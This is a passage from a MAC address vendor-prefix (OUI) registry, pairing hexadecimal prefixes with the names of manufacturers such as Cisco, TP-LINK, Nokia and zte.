INDUSTRIAL CO., LIMITED 54F876 ABB AG 84930C InCoax Networks Europe AB D47B35 NEO Monitors AS D8FB11 AXACORE C8D019 Shanghai Tigercel Communication Technology Co.,Ltd 18A958 PROVISION THAI CO., LTD. D8DECE ISUNG CO.,LTD 2053CA Risk Technology Ltd 142BD6 Guangdong Appscomm Co.,Ltd B025AA Private 408256 Continental Automotive GmbH D866EE BOXIN COMMUNICATION CO.,LTD. 3C189F Nokia Corporation 2829CC Corsa Technology Incorporated FC790B Hitachi High Technologies America, Inc. 28E6E9 SIS Sat Internet Services GmbH BC4E5D ZhongMiao Technology Co., Ltd. 08F728 GLOBO Multimedia Sp. z o.o. Sp.k. 70720D Lenovo Mobile Communication Technology Ltd. 8401A7 Greyware Automation Products, Inc C4C9EC Gugaoo HK Limited F406A5 Hangzhou Bianfeng Networking Technology Co., Ltd. 4C3909 HPL Electric & Power Private Limited 7CFE4E Shenzhen Safe vision Technology Co.,LTD 54EF92 Shenzhen Elink Technology Co., LTD 800E24 ForgetBox FCE186 A3M Co., LTD CCB691 NECMagnusCommunications 40167E ASUSTek COMPUTER INC. C89F1D SHENZHEN COMMUNICATION TECHNOLOGIES CO.,LTD 983713 PT.Navicom Indonesia ACA919 TrekStor GmbH 84850A Hella Sonnen- und Wetterschutztechnik GmbH 183009 Woojin Industrial Systems Co., Ltd. 6081F9 Helium Systems, Inc 34C5D0 Hagleitner Hygiene International GmbH 74DBD1 Ebay Inc 3431C4 AVM GmbH DC537C Compal Broadband Networks, Inc. A00627 NEXPA System 303335 Boosty 18D5B6 SMG Holdings LLC C8FF77 Dyson Limited DCF110 Nokia Corporation 54DF00 Ulterius Technologies, LLC E01D38 Beijing HuaqinWorld Technology Co.,Ltd D80CCF C.G.V. S.A.S. 143DF2 Beijing Shidai Hongyuan Network Communication Co.,Ltd B0D59D Shenzhen Zowee Technology Co., Ltd C4913A Shenzhen Sanland Electronic Co., ltd. A46032 MRV Communications (Networks) LTD 205A00 Coval 0C2026 noax Technologies AG 880FB6 Jabil Circuits India Pvt Ltd,-EHTP unit C4626B ZPT Vigantice 74F85D Berkeley Nucleonics Corp 48EE07 Silver Palm Technologies LLC 9CFBF1 MESOMATIC GmbH & Co.KG 94C014 Sorter Sp. j. Konrad Grzeszczyk MichaA, Ziomek 1027BE TVIP 2087AC AES motomation A824EB ZAO NPO Introtest 447E76 Trek Technology (S) Pte Ltd E8FC60 ELCOM Innovations Private Limited 1CFCBB Realfiction ApS B0EC8F GMX SAS C40E45 ACK Networks,Inc. 5C254C Avire Global Pte Ltd 7C1A03 8Locations Co., Ltd. 481842 Shanghai Winaas Co. Equipment Co. Ltd. D09C30 Foster Electric Company, Limited 78FEE2 Shanghai Diveo Technology Co., Ltd 386C9B Ivy Biomedical E44C6C Shenzhen Guo Wei Electronic Co,. Ltd. 008B43 RFTECH 2C957F zte corporation 242642 SHARP Corporation. 282246 Beijing Sinoix Communication Co., LTD FC1607 Taian Technology(Wuxi) Co.,Ltd. CC89FD Nokia Corporation E86183 Black Diamond Advanced Technology, LLC C4824E Changzhou Uchip Electronics Co., LTD. 24A87D Panasonic Automotive Systems Asia Pacific(Thailand)Co.,Ltd. 78EC74 Kyland-USA 28C825 DellKing Industrial Co., Ltd 64E892 Morio Denki Co., Ltd. 086DF2 Shenzhen MIMOWAVE Technology Co.,Ltd 48D0CF Universal Electronics, Inc. DCC793 Nokia Corporation E03F49 ASUSTek COMPUTER INC. D8EE78 Moog Protokraft F4B6E5 TerraSem Co.,Ltd 28BB59 RNET Technologies, Inc. 7C8D91 Shanghai Hongzhuo Information Technology co.,LTD A881F1 BMEYE B.V. 241148 Entropix, LLC 30B5C2 TP-LINK TECHNOLOGIES CO.,LTD. F85C45 IC Nexus Co. Ltd. 04DB8A Suntech International Ltd. 083F76 Intellian Technologies, Inc. D0634D Meiko Maschinenbau GmbH & Co. KG 889CA6 BTB Korea INC B0DA00 CERA ELECTRONIQUE 447098 MING HONG TECHNOLOGY (SHEN ZHEN) LIMITED 00EEBD HTC Corporation 48B5A7 Glory Horse Industries Ltd. DC5E36 Paterson Technology 50E0C7 TurControlSystme AG 9CD643 D-Link International 28FC51 The Electric Controller and Manufacturing Co., LLC 34A5E1 Sensorist ApS A4E9A3 Honest Technology Co., Ltd C4E92F AB Sciex 9C216A TP-LINK TECHNOLOGIES CO.,LTD. F862AA xn systems A4059E STA Infinity LLP 6C15F9 Nautronix Limited 680AD7 Yancheng Kecheng Optoelectronic Technology Co., Ltd BC8893 VILLBAU Ltd. 643F5F Exablaze E8F226 MILLSON CUSTOM SOLUTIONS INC. 7060DE LaVision GmbH FCFE77 Hitachi Reftechno, Inc. 70533F Alfa Instrumentos Eletronicos Ltda. 448A5B Micro-Star INT'L CO., LTD. 68193F Digital Airways 5CD61F Qardio, Inc 902083 General Engine Management Systems Ltd. C03580 A&R TECH 1446E4 AVISTEL 907990 Benchmark Electronics Romania SRL C49380 Speedytel technology B4A82B Histar Digital Electronics Co., Ltd. 60A9B0 Merchandising Technologies, Inc 007DFA Volkswagen Group of America 6024C1 Jiangsu Zhongxun Electronic Technology Co., Ltd 6C5AB5 TCL Technoly Electronics (Huizhou) Co., Ltd. 88789C Game Technologies SA 18AA45 Fon Technology 549359 SHENZHEN TWOWING TECHNOLOGIES CO.,LTD. 284430 GenesisTechnical Systems (UK) Ltd 9843DA INTERTECH B07908 Cummings Engineering 04CB1D Traka plc B87AC9 Siemens Ltd. B0989F LG CNS 3C300C Dewar Electronics Pty Ltd 78B5D2 Ever Treasure Industrial Limited A409CB Alfred Kaercher GmbH & Co KG C445EC Shanghai Yali Electron Co.,LTD E8611F Dawning Information Industry Co.,Ltd 0CA694 Sunitec Enterprise Co.,Ltd 146080 zte corporation 986CF5 zte corporation 78491D The Will-Burt Company 74D435 GIGA-BYTE TECHNOLOGY CO.,LTD. 840F45 Shanghai GMT Digital Technologies Co., Ltd D8270C MaxTronic International Co., Ltd. E80410 Private 8C088B Remote Solution A47760 Nokia Corporation 24A495 Thales Canada Inc. 883612 SRC Computers, LLC E0A198 NOJA Power Switchgear Pty Ltd CC7B35 zte corporation 04D437 ZNV CCF407 EUKREA ELECTROMATIQUE SARL BC2BD7 Revogi Innovation Co., Ltd. 24ECD6 CSG Science & Technology Co.,Ltd.Hefei 102279 ZeroDesktop, Inc. CC4AE1 fourtec -Fourier Technologies A4895B ARK INFOSOLUTIONS PVT LTD 38EC11 Novatek Microelectronics Corp. A8CCC5 Saab AB (publ) 988E4A NOXUS(BEIJING) TECHNOLOGY CO.,LTD 1C4158 Gemalto M2M GmbH 541B5D Techno-Innov 78CB33 DHC Software Co.,Ltd 507691 Tekpea, Inc. A4C0C7 ShenZhen Hitom Communication Technology Co..LTD EC2257 JiangSu NanJing University Electronic Information Technology Co.,Ltd 341A4C SHENZHEN WEIBU ELECTRONICS CO.,LTD. A09BBD Total Aviation Solutions Pty Ltd E8481F Advanced Automotive Antennas 18D6CF Kurth Electronic GmbH E07F88 EVIDENCE Network SIA 1C7CC7 Coriant GmbH 542CEA PROTECTRON 00C5DB Datatech Sistemas Digitales Avanzados SL 109AB9 Tosibox Oy F842FB Yasuda Joho Co.,ltd. 887398 K2E Tekpoint 68EE96 Cisco SPVTG FC6018 Zhejiang Kangtai Electric Co., Ltd. 303EAD Sonavox Canada Inc 444A65 Silverflare Ltd. 50A0BF Alba Fiber Systems Inc. 3C977E IPS Technology Limited F02405 OPUS High Technology Corporation D8B04C Jinan USR IOT Technology Co., Ltd. 646EEA Iskratel d.o.o. 043D98 ChongQing QingJia Electronics CO.,LTD E8BB3D Sino Prime-Tech Limited 98CDB4 Virident Systems, Inc. 54E3B0 JVL Industri Elektronik 640B4A Digital Telecom Technology Limited F42012 Cuciniale GmbH 18104E CEDINT-UPM 2C7B84 OOO Petr Telegin 540536 Vivago Oy E0FAEC Platan sp. z o.o. sp. k. F08EDB VeloCloud Networks B8DC87 IAI Corporation 7C6FF8 ShenZhen ACTO Digital Video Technology Co.,Ltd. 8C4B59 3D Imaging & Simulations Corp A4FB8D Hangzhou Dunchong Technology Co.Ltd 0075E1 Ampt, LLC CC04B4 Select Comfort 284FCE Liaoning Wontel Science and Technology Development Co.,Ltd. 0CC81F Summer Infant, Inc. D86960 Steinsvik 442AFF E3 Technology, Inc. 0C9301 PT. Prasimax Inovasi Teknologi 60699B isepos GmbH B830A8 Road-Track Telematics Development 542160 Resolution Products 88462A Telechips Inc. A897DC IBM E8DE27 TP-LINK TECHNOLOGIES CO.,LTD. FC229C Han Kyung I Net Co.,Ltd. 148692 TP-LINK TECHNOLOGIES CO.,LTD. 1832A2 LAON TECHNOLOGY CO., LTD. 985C93 SBG Systems SAS 64E599 EFM Networks F499AC WEBER Schraubautomaten GmbH 8CC7D0 zhejiang ebang communication co.,ltd 70820E as electronics GmbH DC2BCA Zera GmbH 508D6F CHAHOO Limited 68831A Pandora Mobility Corporation D4223F Lenovo Mobile Communication Technology Ltd. 0868D0 Japan System Design 103DEA HFC Technology (Beijing) Ltd. Co. 2C7B5A Milper Ltd 185AE8 Zenotech.Co.,Ltd E0AEED LOENK D4EE07 HIWIFI Co., Ltd. 908260 IEEE 1904.1 Working Group FCAD0F QTS NETWORKS 984C04 Zhangzhou Keneng Electrical Equipment Co Ltd CC047C G-WAY Microwave 44F849 Union Pacific Railroad 1CFA68 TP-LINK TECHNOLOGIES CO.,LTD. D0BE2C CNSLink Co., Ltd. 281878 Microsoft Corporation E457A8 Stuart Manufacturing, Inc. 2481AA KSH International Co., Ltd. 789966 Musilab Electronics (DongGuan)Co.,Ltd. EC2C49 University of Tokyo CC5D57 InformationSystem Research Institute,Inc. 1C37BF Cloudium Systems Ltd. 249504 SFR 308999 Guangdong East Power Co., D4A499 InView Technology Corporation AC4122 Eclipse Electronic Systems Inc. A073FC Rancore Technologies Private Limited 846223 Shenzhen Coship Electronics Co., Ltd. A4E991 SISTEMAS AUDIOVISUALES ITELSIS S.L. 84F493 OMS spol. s.r.o. 386793 Asia Optical Co., Inc. BCD177 TP-LINK TECHNOLOGIES CO.,LTD. C8B373 Cisco-Linksys, LLC 983071 DAIKYUNG VASCOM 0C0400 Jantar d.o.o. C04301 Epec Oy 687CD5 Y Soft Corporation, a.s. E07C62 Whistle Labs, Inc. FC4499 Swarco LEA d.o.o. 0C8484 Zenovia Electronics Inc. 5CF370 CC&C Technologies, Inc A01C05 NIMAX TELECOM CO.,LTD. F80DEA ZyCast Technology Inc. 1800DB Fitbit Inc. 50A715 Aboundi, Inc. FC35E6 Visteon corp D866C6 Shenzhen Daystar Technology Co.,ltd 1836FC Elecsys International Corporation F48139 CANON INC. D40BB9 Solid Semecs bv. 748E08 Bestek Corp. B8C855 Shanghai GBCOM Communication Technology Co.,Ltd. C47DFE A.N. Solutions GmbH E031D0 SZ Telstar CO., LTD 70C6AC Bosch Automotive Aftermarket 2C69BA RF Controls, LLC DC5726 Power-One 2C245F Babolat VS D464F7 CHENGDU USEE DIGITAL TECHNOLOGY CO., LTD A47ACF VIBICOM COMMUNICATIONS INC. CC3C3F SA.S.S. Datentechnik AG 905692 Autotalks Ltd. 0C2AE7 Beijing General Research Institute of Mining and Metallurgy DCD52A Sunny Heart Limited C4C755 Beijing HuaqinWorld Technology Co.,Ltd 9C79AC Suntec Software(Shanghai) Co., Ltd. F8DFA8 zte corporation ACA430 Peerless AV B4AB2C MtM Technology Corporation 74372F Tongfang Shenzhen Cloudcomputing Technology Co.,Ltd BC51FE Swann communications Pty Ltd D40FB2 Applied Micro Electronics AME bv 74FE48 ADVANTECH CO., LTD. D0B498 Robert Bosch LLC Automotive Electronics 80B95C ELFTECH Co., Ltd. E85AA7 LLC Emzior 242FFA Toshiba Global Commerce Solutions A0BAB8 Pixon Imaging 9CE1D6 Junger Audio-Studiotechnik GmbH E4E409 LEIFHEIT AG 004D32 Andon Health Co.,Ltd. C46DF1 DataGravity 28D244 LCFC(HeFei) Electronics Technology Co., Ltd. ACE87E Bytemark Computer Consulting Ltd 60CDC5 Taiwan Carol Electronics., Ltd 60C5A8 Beijing LT Honway Technology Co.,Ltd B4DF3B Chromlech A46E79 DFT System Co.Ltd 94DE80 GIGA-BYTE TECHNOLOGY CO.,LTD. C88A83 Dongguan HuaHong Electronics Co.,Ltd 0CC655 Wuxi YSTen Technology Co.,Ltd. D410CF Huanshun Network Science and Technology Co., Ltd. B80415 Bayan Audio 84C8B1 Incognito Software Systems Inc. 645A04 Chicony Electronics Co., Ltd. 5C89D4 Beijing Banner Electric Co.,Ltd 984CD3 Mantis Deposition 8C4CDC PLANEX COMMUNICATIONS INC. D063B4 SolidRun Ltd. 2C3BFD Netstor Technology Co., Ltd. F073AE PEAK-System Technik 684CA8 Shenzhen Herotel Tech. Co., Ltd. F4472A Nanjing Rousing Sci. and Tech. Industrial Co., Ltd 185253 Pixord Corporation FCA9B0 MIARTECH (SHANGHAI),INC. 80D733 QSR Automations, Inc. 8C3330 EmFirst Co., Ltd. 08E5DA NANJING FUJITSU COMPUTER PRODUCTS CO.,LTD. 5884E4 IP500 Alliance e.V. 04E9E5 PJRC.COM, LLC 703811 Invensys Rail ACE64B Shenzhen Baojia Battery Technology Co., Ltd. 303294 W-IE-NE-R Plein & Baus GmbH EC473C Redwire, LLC 5481AD Eagle Research Corporation 7C822D Nortec 745FAE TSL PPL 8462A6 EuroCB (Phils), Inc. 80FA5B CLEVO CO. E4F365 Time-O-Matic, Inc. 18550F Cisco SPVTG 1C9179 Integrated System Technologies Ltd 38F597 home2net GmbH 386645 OOSIC Technology CO.,Ltd D0DFB2 Genie Networks Limited 808B5C Shenzhen Runhuicheng Technology Co., Ltd 04586F Sichuan Whayer information industry Co.,LTD 449B78 The Now Factory D052A8 Physical Graph Corporation 34F62D SHARP Corporation C4EBE3 RRCN SAS 4C1A95 Novakon Co., Ltd. C04A00 TP-LINK TECHNOLOGIES CO.,LTD. 9C3178 Foshan Huadian Intelligent Communications Teachnologies Co.,Ltd 48BE2D Symanitron B86091 Onnet Technologies and Innovations LLC 201A06 COMPAL INFORMATION (KUNSHAN) CO., LTD. D4CA6E u-blox AG C011A6 Fort-Telecom ltd. B8DAF1 Strahlenschutz- Entwicklungs- und Ausruestungsgesellschaft mbH 1C11E1 Wartsila Finland Oy 50465D ASUSTek COMPUTER INC. 74BFA1 HYUNTECK F8AA8A Axview Technology (Shenzhen) Co.,Ltd 5894CF Vertex Standard LMR, Inc. 2C5AA3 PROMATE ELECTRONIC CO.LTD B4009C CableWorld Ltd. 803FD6 bytes at work AG 645FFF Nicolet Neuro 2829D9 GlobalBeiMing technology (Beijing)Co. Ltd 189A67 CSE-Servelec Limited 38A5B6 SHENZHEN MEGMEET ELECTRICAL CO.,LTD E43FA2 Wuxi DSP Technologies Inc. 00FD4C NEVATEC 6045BD Microsoft 9C54CA Zhengzhou VCOM Science and Technology Co.,Ltd 388AB7 ITC Networks BCC23A Thomson Video Networks 00BF15 Genetec Inc. 20F85E Delta Electronics 68CE4E L-3 Communications Infrared Products 68B6FC Hitron Technologies. Inc 7C160D Saia-Burgess Controls AG A4D18F Shenzhen Skyee Optical Fiber Communication Technology Ltd. 0C565C HyBroad Vision (Hong Kong) Technology Co Ltd 649FF7 Kone OYj 4C068A Basler Electric Company E0A30F Pevco 5C1737 I-View Now, LLC. 049C62 BMT Medical Technology s.r.o. C4BA99 I+ME Actia Informatik und Mikro-Elektronik GmbH 0C2A69 electric imp, incorporated BC811F Ingate Systems 34E0CF zte corporation 6C40C6 Nimbus Data Systems, Inc. 503F56 Syncmold Enterprise Corp D04CC1 SINTRONES Technology Corp. DC9FA4 Nokia Corporation 44C39B OOO RUBEZH NPO 58C232 NEC Corporation D8C691 Hichan Technology Corp. 7C02BC Hansung Electronics Co. LTD 1848D8 Fastback Networks 702393 fos4X GmbH 58ECE1 Newport Corporation 14358B Mediabridge Products, LLC. 34996F VPI Engineering 241064 Shenzhen Ecsino Tecnical Co. Ltd 10D1DC INSTAR Deutschland GmbH D8160A Nippon Electro-Sensory Devices F45433 Rockwell Automation EC9327 MEMMERT GmbH + Co. KG 1C43EC JAPAN CIRCUIT CO.,LTD BC28D6 Rowley Associates Limited F05F5A Getriebebau NORD GmbH and Co. KG 009569 LSD Science and Technology Co.,Ltd. 34C803 Nokia Corporation 5011EB SilverNet Ltd 5CD41B UCZOON Technology Co., LTD 783CE3 Kai-EE 0868EA EITO ELECTRONICS CO., LTD. 5C4A26 Enguity Technology Corp 289EDF Danfoss Turbocor Compressors, Inc 50053D CyWee Group Ltd 4C64D9 Guangdong Leawin Group Co., Ltd 7CB03E OSRAM GmbH 14B1C8 InfiniWing, Inc. C0493D MAITRISE TECHNOLOGIQUE 34A7BA Fischer International Systems Corporation ACD364 ABB SPA, ABB SACE DIV. 38F8B7 V2COM PARTICIPACOES S.A. B48255 Research Products Corporation 2C750F Shanghai Dongzhou-Lawton Communication Technology Co. Ltd. B40418 Smartchip Integrated Inc. F4EA67 Cisco Systems, Inc D0AEEC Alpha Networks Inc. 3C98BF Quest Controls, Inc. D05785 Pantech Co., Ltd. 045C06 Zmodo Technology Corporation 504A5E Masimo Corporation 38BF33 NEC CASIO Mobile Communications A041A7 NL Ministry of Defense 342F6E Anywire corporation E86D6E voestalpine SIGNALING Fareham Ltd. F8D462 Pumatronix Equipamentos Eletronicos Ltda. 5453ED Sony Corporation 940070 Nokia Corporation 6C3A84 Shenzhen Aero-Startech. Co.Ltd 442B03 Cisco Systems, Inc 781C5A SHARP Corporation E4C6E6 Mophie, LLC 502D1D Nokia Corporation BCEA2B CityCom GmbH 944444 LG Innotek E4C806 Ceiec Electric Technology Inc. 18B591 I-Storm A45630 Cisco Systems, Inc 002AAF LARsys-Automation GmbH 60F3DA Logic Way GmbH A06D09 Intelcan Technosystems Inc. BC1401 Hitron Technologies. Inc 68D925 ProSys Development Services B41DEF Internet Laboratories, Inc. 284121 OptiSense Network, LLC 5057A8 Cisco Systems, Inc 38458C MyCloud Technology corporation 0C9D56 Consort Controls Ltd 3CCE73 Cisco Systems, Inc A47C14 ChargeStorm AB F4600D Panoptic Technology, Inc ACCF23 Hi-flying electronics technology Co.,Ltd C08170 Effigis GeoSolutions 78C4AB Shenzhen Runsil Technology Co.,Ltd 709A0B Italian Institute of Technology 240917 Devlin Electronics Limited DC37D2 Hunan HKT Electronic Technology Co., Ltd 5076A6 Ecil Informatica Ind. Com. Ltda B431B8 Aviwest 241125 Hutek Co., Ltd. 0036FE SuperVision CC187B Manzanita Systems, Inc. 38B12D Sonotronic Nagel GmbH 8020AF Trade FIDES, a.s. 50D274 Steffes Corporation 48D54C Jeda Networks 3497FB ADVANCED RF TECHNOLOGIES INC C46413 Cisco Systems, Inc 143AEA Dynapower Company LLC 9CA134 Nike, Inc. B4D8A9 BetterBots 7CC8D7 Damalisk 0091FA Synapse Product Development A05AA4 Grand Products Nevada, Inc. 24C0B3 RSF E00B28 Inovonics 500B32 Foxda Technology Industrial(ShenZhen)Co.,LTD 302DE8 JDA, LLC (JDA Systems) 70CA9B Cisco Systems, Inc 2C3F38 Cisco Systems, Inc 803F5D Winstars Technology Ltd 780738 Z.U.K. Elzab S.A. 640E36 TAZTAG 70EE50 Netatmo EC63E5 ePBoard Design LLC 60B606 Phorus F4E6D7 Solar Power Technologies, Inc. 78DDD6 c-scape 984A47 CHG Hospital Beds 3C6A7D Niigata Power Systems Co., Ltd. FC455F JIANGXI SHANSHUI OPTOELECTRONIC TECHNOLOGY CO.,LTD 3C7059 MakerBot Industries F8FE5C Reciprocal Labs Corp 6C9CED Cisco Systems, Inc 94E0D0 HealthStream Taiwan Inc. DCF858 Lorent Networks, Inc. A05E6B MELPER Co., Ltd. 30B3A2 Shenzhen Heguang Measurement & Control Technology Co.,Ltd F0007F Janz - Contadores de Energia, SA CC944A Pfeiffer Vacuum GmbH 0C8525 Cisco Systems, Inc BCE59F WATERWORLD Technology Co.,LTD 1C5C55 PRIMA Cinema, Inc 082522 ADVANSEE 4C2F9D ICM Controls E467BA Danish Interpretation Systems A/S BCFE8C Altronic, LLC 24BBC1 Absolute Analysis 7CDD11 Chongqing MAS SCI&TECH.Co.,Ltd C43C3C CYBELEC SA 00D632 GE Energy C40ACB Cisco Systems, Inc 7463DF VTS GmbH 3828EA Fujian Netcom Technology Co., LTD 2CEE26 Petroleum Geo-Services DC3E51 Solberg & Andersen AS D8B90E Triple Domain Vision Co.,Ltd. 7C4B78 Red Sun Synthesis Pte Ltd 28D1AF Nokia Corporation 68BC0C Cisco Systems, Inc 2C9EFC CANON INC. 98C845 PacketAccess 988217 Disruptive Ltd 80FFA8 UNIDIS 489BE2 SCI Innovations Ltd B0E50E NRG SYSTEMS INC 4C5FD2 Alcatel-Lucent E878A1 BEOVIEW INTERCOM DOO 3057AC IRLAB LTD. 28AF0A Sirius XM Radio Inc 2486F4 Ctek, Inc. 3CE5B4 KIDASEN INDUSTRIA E COMERCIO DE ANTENAS LTDA A85BF3 Audivo GmbH 344F69 EKINOPS SAS C02973 Audyssey Laboratories Inc. 30168D ProLon B451F9 NB Software 30688C Reach Technology Inc. 88F488 cellon communications technology(shenzhen)Co.,Ltd. 0041B4 Wuxi Zhongxing Optoelectronics Technology Co.,Ltd. D453AF VIGO System S.A. 1CE192 Qisda Corporation 20C8B3 SHENZHEN BUL-TECH CO.,LTD. 58B0D4 ZuniData Systems Inc. 64557F NSFOCUS Information Technology Co., Ltd. 406AAB RIM 248707 SEnergy Corporation EC3F05 Institute 706, The Second Academy China Aerospace Science & Industry Corp C4C19F National Oilwell Varco Instrumentation, Monitoring, and Optimization (NOV IMO) 68CD0F U Tek Company Limited D4CEB8 Enatel LTD ECF236 NEOMONTANA ELECTRONICS E4A5EF TRON LINK ELECTRONICS CO., LTD. AC4AFE Hisense Broadband Multimedia Technology Co.,Ltd. 2C1EEA AERODEV FC6C31 LXinstruments GmbH 3C6F45 Fiberpro Inc. B4FC75 SEMA Electronics(HK) CO.,LTD 5C16C7 Big Switch Networks B0BF99 WIZITDONGDO 147DB3 JOA TELECOM.CO.,LTD 3CD16E Telepower Communication Co., Ltd 00077D Cisco Systems, Inc 1045BE Norphonic AS A0E295 DAT System Co.,Ltd 40F14C ISE Europe SPRL 98293F Fujian Start Computer Equipment Co.,Ltd 70D4F2 RIM 9067F3 Alcatel Lucent 64D912 Solidica, Inc. 8C5CA1 d-broad,INC C8F981 Seneca s.r.l. 703187 ACX GmbH 14307A Avermetrics 8C7EB3 Lytro, Inc. 587675 Beijing ECHO Technologies Co.,Ltd 78EF4C Unetconvergence Co., Ltd. E8DA96 Zhuhai Tianrui Electrical Power Tech. Co., Ltd. 6CA780 Nokia Corporation 04888C Eifelwerk Butler Systeme GmbH 1013EE Justec International Technology INC. 704642 CHYNG HONG ELECTRONIC CO., LTD. 78BEB6 Enhanced Vision ECEA03 DARFON LIGHTING CORP C8903E Pakton Technologies 7465D1 Atlinks 301A28 Mako Networks Ltd D4945A COSMO CO., LTD 5CF207 Speco Technologies B01B7C Ontrol A.S. D47B75 HARTING Electronics GmbH 70E843 Beijing C&W Optical Communication Technology Co.,Ltd. 08ACA5 Benu Video, Inc. D89DB9 eMegatech International Corp. 405A9B ANOVO ACCA54 Telldus Technologies AB CC1EFF Metrological Group BV 941673 Point Core SARL 6C5D63 ShenZhen Rapoo Technology Co., Ltd. E4D71D Oraya Therapeutics C8FE30 Bejing DAYO Mobile Communication Technology Ltd. 64B64A ViVOtech, Inc. DCA7D9 Compressor Controls Corp C455A6 Cadac Holdings Ltd BCBBC9 Kellendonk Elektronik GmbH 781DFD Jabil Inc 103711 Simlink AS 601199 Siama Systems Inc 300B9C Delta Mobile Systems, Inc. 90EA60 SPI Lasers Ltd D46F42 WAXESS USA Inc B0A72A Ensemble Designs, Inc. 50795B Interexport Telecomunicaciones S.A. E8C229 H-Displays (MSC) Bhd B0BDA1 ZAKLAD ELEKTRONICZNY SIMS 8C4435 Shanghai BroadMobi Communication Technology Co., Ltd. 24B8D2 Opzoon Technology Co.,Ltd. 24CBE7 MYK, Inc. 88BFD5 Simple Audio Ltd 948B03 EAGET Innovation and Technology Co., Ltd. 802DE1 Solarbridge Technologies F081AF IRZ AUTOMATION TECHNOLOGIES LTD 14EB33 BSMediasoft Co., Ltd. AC8674 Open Mesh, Inc. 14A9E3 MST CORPORATION 589835 Technicolor 50D6D7 Takahata Precision B4A5A9 MODI GmbH D09B05 Emtronix 98EC65 Cosesy ApS 900917 Far-sighted mobile 88F077 Cisco Systems, Inc AC4723 Genelec 20B7C0 OMICRON electronics GmbH D42C3D Sky Light Digital Limited 806CBC NET New Electronic Technology GmbH 1C184A ShenZhen RicherLink Technologies Co.,LTD 04E662 Acroname Inc. F0BF97 Sony Corporation C44AD0 FIREFLIES SYSTEMS 88E0A0 Shenzhen VisionSTOR Technologies Co., Ltd 6879ED SHARP Corporation 9CC0D2 Conductix-Wampfler GmbH 447E95 Alpha and Omega, Inc E8B748 Cisco Systems, Inc DC16A2 Medtronic Diabetes 78CA04 Nokia Corporation 2C8BF2 Hitachi Metals America Ltd 58F98E SECUDOS GmbH 2826A6 PBR electronics GmbH CC7669 SEETECH E437D7 HENRI DEPAEPE S.A.S. 582F42 Universal Electric Corporation AC20AA DMATEK Co., Ltd. E0A1D7 SFR 28852D Touch Networks F02A61 Waldo Networks, Inc. B8415F ASP AG 2CB69D RED Digital Cinema 988E34 ZHEJIANG BOXSAM ELECTRONIC CO.,LTD D44C24 Vuppalamritha Magnetic Components LTD 4CB4EA HRD (S) PTE., LTD. 34BDF9 Shanghai WDK Industrial Co.,Ltd. 74CE56 Packet Force Technology Limited Company A89B10 inMotion Ltd. 888C19 Brady Corp Asia Pacific Ltd 747DB6 Aliwei Communications, Inc B41489 Cisco Systems, Inc AC6F4F Enspert Inc 8886A0 Simton Technologies, Ltd. F0C88C LeddarTech Inc. 68EBC5 Angstrem Telecom 448C52 KTIS CO., Ltd 686359 Advanced Digital Broadcast SA 4018D7 Smartronix, Inc. 18922C Virtual Instruments F80F84 Natural Security SAS EC9ECD Artesyn Embedded Technologies 303955 Shenzhen Jinhengjia Electronic Co., Ltd. FC5B24 Weibel Scientific A/S 34B571 PLDS A862A2 JIWUMEDIA CO., LTD. 984E97 Starlight Marketing (H. K.) Ltd. 7C6ADB SafeTone Technology Co.,Ltd EC986C Lufft Mess- und Regeltechnik GmbH B0518E Holl technology CO.Ltd. DCDECA Akyllor A071A9 Nokia Corporation 8065E9 BenQ Corporation 845DD7 Shenzhen Netcom Electronics Co.,Ltd 447DA5 VTION INFORMATION TECHNOLOGY (FUJIAN) CO.,LTD 0CCDD3 EASTRIVER TECHNOLOGY CO., LTD. B8E589 Payter BV C89C1D Cisco Systems, Inc 503DE5 Cisco Systems, Inc 801440 Sunlit System Technology Corp 948D50 Beamex Oy Ab 94E226 D. ORtiz Consulting, LLC 386E21 Wasion Group Ltd. D8C99D EA DISPLAY LIMITED CCFC6D RIZ TRANSMITTERS AC80D6 Hexatronic AB 9CF938 AREVA NP GmbH 500E6D TrafficCast International 1CFEA7 IDentytech Solutins Ltd. D0B53D SEPRO ROBOTIQUE A0DE05 JSC Irbis-T 8895B9 Unified Packet Systems Crop 78593E RAFI GmbH & Co.KG 684352 Bhuu Limited 3CC0C6 d&b audiotechnik GmbH F8DAF4 Taishan Online Technology Co., Ltd. D8E3AE CIRTEC MEDICAL SYSTEMS A83944 Actiontec Electronics, Inc FC1FC0 EURECAM 4891F6 Shenzhen Reach software technology CO.,LTD EC14F6 BioControl AS B8D06F GUANGZHOU HKUST FOK YING TUNG RESEARCH INSTITUTE B4C44E VXL eTech Pvt Ltd F0933A NxtConect 6052D0 FACTS Engineering 8C278A Vocollect Inc FCAF6A Qulsar Inc ECE555 Hirschmann Automation DCD0F7 Bentek Systems Ltd. D0574C Cisco Systems, Inc 8818AE Tamron Co., Ltd 20D607 Nokia Corporation 58DB8D Fast Co., Ltd. 18EF63 Cisco Systems, Inc CCCE40 Janteq Corp 8C4DEA Cerio Corporation ECFAAA The IMS Company CC55AD RIM F0F7B3 Phorm E8757F FIRS Technologies(Shenzhen) Co., Ltd C83EA7 KUNBUS GmbH E0CF2D Gemintek Corporation 68BDAB Cisco Systems, Inc 9CADEF Obihai Technology, Inc. D08999 APCON, Inc. 4454C0 Thompson Aerospace B4A4E3 Cisco Systems, Inc 90903C TRISON TECHNOLOGY CORPORATION 94DD3F A+V Link Technologies, Corp. C8EE08 TANGTOP TECHNOLOGY CO.,LTD 7472F2 Chipsip Technology Co., Ltd. 5CD998 D-Link Corporation D46CDA CSM GmbH C4F464 Spica international 544A05 wenglor sensoric gmbh 5CCA32 Theben AG 84C7A9 C3PO S.A. F8AC6D Deltenna Ltd 641084 HEXIUM Technical Development Co., Ltd. C416FA Prysm Inc E0C286 Aisai Communication Technology Co., Ltd. D84B2A Cognitas Technologies, Inc. 684B88 Galtronics Telemetry Inc. 842914 EMPORIA TELECOM Produktions- und VertriebsgesmbH & Co KG 4C8B55 Grupo Digicon 04A3F3 Emicon F866F2 Cisco Systems, Inc 7C55E7 YSI, Inc. C02BFC iNES. applied informatics GmbH AC34CB Shanhai GBCOM Communication Technology Co. Ltd D4A928 GreenWave Reality Inc 9CFFBE OTSL Inc. 2CD1DA Sanjole, Inc. 100E2B NEC CASIO Mobile Communications 445EF3 Tonalite Holding B.V. 100C24 pomdevices, LLC 58F6BF Kyoto University 7CED8D Microsoft 54FDBF Scheidt & Bachmann GmbH B40EDC LG-Ericsson Co.,Ltd. A4D1D1 ECOtality North America C8D5FE Shenzhen Zowee Technology Co., Ltd C49313 100fio networks technology llc A4A80F Shenzhen Coship Electronics Co., Ltd. B8921D BG T&A 48FCB8 Woodstream Corporation 548922 Zelfy 